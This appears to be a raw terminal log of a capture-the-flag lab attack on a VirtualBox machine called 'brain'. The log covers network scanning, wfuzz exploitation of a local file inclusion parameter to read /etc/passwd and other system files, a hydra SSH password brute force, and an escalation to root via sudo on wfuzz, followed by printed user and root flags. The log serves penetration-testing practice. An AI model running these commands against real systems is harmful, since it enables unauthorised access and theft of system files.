❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.213 08:00:27:e6:6e:9d PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e5:e5:eb VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.087 seconds (122.66 hosts/sec). 4 responded ❯ export ip=192.168.60.213 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- To scan or not to scan? That is the question. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.213:22 Open 192.168.60.213:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 12:01 CST Initiating ARP Ping Scan at 12:01 Scanning 192.168.60.213 [1 port] Completed ARP Ping Scan at 12:01, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 12:01 Completed Parallel DNS resolution of 1 host. at 12:01, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 12:01 Scanning 192.168.60.213 [2 ports] Discovered open port 80/tcp on 192.168.60.213 Discovered open port 22/tcp on 192.168.60.213 Completed SYN Stealth Scan at 12:01, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.213 Host is up, received arp-response (0.00091s latency). Scanned at 2025-02-27 12:01:10 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:E6:6E:9D (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -u "http://$ip/index.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 26 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.213/index.php?FUZZ=/etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001059: 200 33 L 64 W 1750 Ch "include"
❯ hydra -l ben -P /usr/share/wordlists/rockyou.txt ssh://$ip -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-27 12:25:09 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.60.213:22/ [STATUS] 226.00 tries/min, 226 tries in 00:01h, 14344179 to doin 1057:50h, 10 active [STATUS] 190.67 tries/min, 572 tries in 00:03h, 14343833 to doin 1253:50h, 10 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
❯ wfuzz -c -u "http://$ip/index.php?include=/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/LinuxFileList.txt --ss "ben" --hw 26 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.213/index.php?include=/FUZZ Total requests: 87018 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000215: 200 41 L 62 W 2483 Ch "etc/ssl/certs/Izenpe.com.pem" 000000192: 200 41 L 62 W 2483 Ch "etc/ssl/certs/cc450945.0" 000000500: 200 3519 L 3812 W 214281 Ch "etc/ssl/certs/ca-certificates.crt" 000000611: 200 428 L 1347 W 10407 Ch "etc/grub.d/00_header" 000000734: 200 60 L 79 W 1048 Ch "etc/group" 000001005: 200 688 L 9070 W 243358 Ch "etc/alternatives/pico" 000001164: 200 688 L 9070 W 243358 Ch "etc/alternatives/editor" 000001636: 200 60 L 79 W 1073 Ch "etc/group-" 000002409: 200 585 L 2584 W 19135 Ch "etc/services" 000002729: 200 86023 86042 W 835048 Ch "etc/dictionaries-common/words" L 000002887: 200 33 L 64 W 1750 Ch "etc/passwd" 000002916: 200 33 L 64 W 1758 Ch "etc/passwd-" 000003123: 200 2718 L 30871 W 900908 Ch "sbin/ldconfig" 000003197: 200 105023 1030124 31818627 "var/cache/apt/srcpkgcache.bin" L W Ch 000003663: 200 10635 231792 W 1952533 C "var/cache/debconf/templates.dat-old" L h 000003662: 200 10635 231792 W 1952533 C "var/cache/debconf/templates.dat" L h 000004036: 200 232 L 22807 W 253170 Ch "var/cache/man/es/index.db" 000004030: 200 21 L 2154 W 24848 Ch "var/cache/man/de/index.db" 000004072: 200 272 L 26885 W 294817 Ch "var/cache/man/index.db" 000003644: 200 105045 1030662 31819012 "var/cache/apt/pkgcache.bin" L W Ch 000004242: 200 8478 L 40057 W 355350 Ch "var/backups/dpkg.status.0" 000004506: 200 38 L 181 W 136275 Ch "var/log/wtmp" 000005111: 200 233 L 1274 W 17143 Ch "var/lib/dpkg/info/bash-completion.postinst" 000005608: 200 1232 L 17294 W 130653 Ch "var/lib/dpkg/info/console-setup.templates" 000005754: 200 1203 L 24100 W 219680 Ch "var/lib/dpkg/info/tzdata.templates" 000005821: 200 37849 148361 W 1806202 C "var/lib/dpkg/info/keyboard-configuration.config" L h 000005955: 200 1159 L 11554 W 93263 Ch "var/lib/dpkg/info/dictionaries-common.templates" 000006548: 200 201 L 1179 W 16171 Ch "var/lib/dpkg/info/bash-completion.prerm" 000007002: 200 224 L 1234 W 16708 Ch "var/lib/dpkg/info/bash-completion.postrm" 000007299: 200 235 L 1269 W 17049 Ch "var/lib/dpkg/info/bash-completion.preinst" 000007326: 200 459 L 2831 W 23047 Ch "var/lib/dpkg/info/ssl-cert.templates" 000007512: 200 72 L 712 W 6179 Ch "var/lib/dpkg/info/apparmor.templates" 000007966: 200 180 L 3173 W 22592 Ch "var/lib/dpkg/info/man-db.templates" 000008228: 200 3520 L 49730 W 408610 Ch "var/lib/dpkg/info/keyboard-configuration.templates" 000008785: 200 1328 L 12825 W 99036 Ch "var/lib/dpkg/info/debconf.templates" 000009373: 200 3712 L 46326 W 331816 Ch "var/lib/dpkg/info/grub-pc.templates" 000010030: 200 454 L 920 W 35982 Ch "var/lib/dpkg/info/bash-completion.md5sums" 000010730: 200 82 L 229 W 2493 Ch "var/lib/dpkg/info/grub-pc.postrm" 000011296: 200 249 L 2649 W 22202 Ch "var/lib/dpkg/info/ucf.templates" 000011789: 200 120 L 643 W 4745 Ch "var/lib/dpkg/info/dbus.postinst" 000012141: 200 370 L 3931 W 31497 Ch "var/lib/dpkg/info/libpam-runtime.templates" 000012260: 200 699 L 718 W 32310 Ch "var/lib/dpkg/info/bash-completion.list" 000012602: 200 8478 L 40057 W 355350 Ch "var/lib/dpkg/status" 000012601: 200 8480 L 40061 W 355342 Ch "var/lib/dpkg/status-old" 000012890: 200 21738 86817 W 611156 Ch "var/lib/usbutils/usb.ids" L 000013581: 200 230 L 804 W 8423 Ch "boot/grub/grub.cfg" 000013650: 200 36 L 229 W 7260 Ch "boot/grub/i386-pc/luks.mod" 000013689: 200 24 L 202 W 6113 Ch "boot/grub/i386-pc/loadenv.mod" 000013804: 200 32 L 367 W 10292 Ch "boot/grub/i386-pc/cryptodisk.mod" 000013919: 200 164 L 1229 W 12761 Ch "proc/sched_debug" 000084424: 200 688 L 9070 W 243358 Ch "bin/nano" 000084416: 200 156 L 1080 W 43813 Ch "bin/cat" 000084535: 200 688 L 9070 W 243358 Ch "bin/rnano" Total time: 44.82363 Processed Requests: 87018 Filtered Requests: 86965 Requests/sec.: 1941.341
❯ ssh ben@$ip [email protected]'s password: Linux brain 4.19.0-23-amd64 #1 SMP Debian 4.19.269-1 (2022-12-20) x86_64 ben@brain:~$ cat user.txt 4be68799a5cef6a6e2b36379e8ae2759 ben@brain:~$ sudo -l Matching Defaults entries for ben on Brain: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User ben may run the following commands on Brain: (root) NOPASSWD: /usr/bin/wfuzz
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. Success! root@brain:/home/ben# id uid=0(root) gid=0(root) grupos=0(root) root@brain:/home/ben# cat /root/root.txt 08c391c2d775390f54ee859d7395ac68
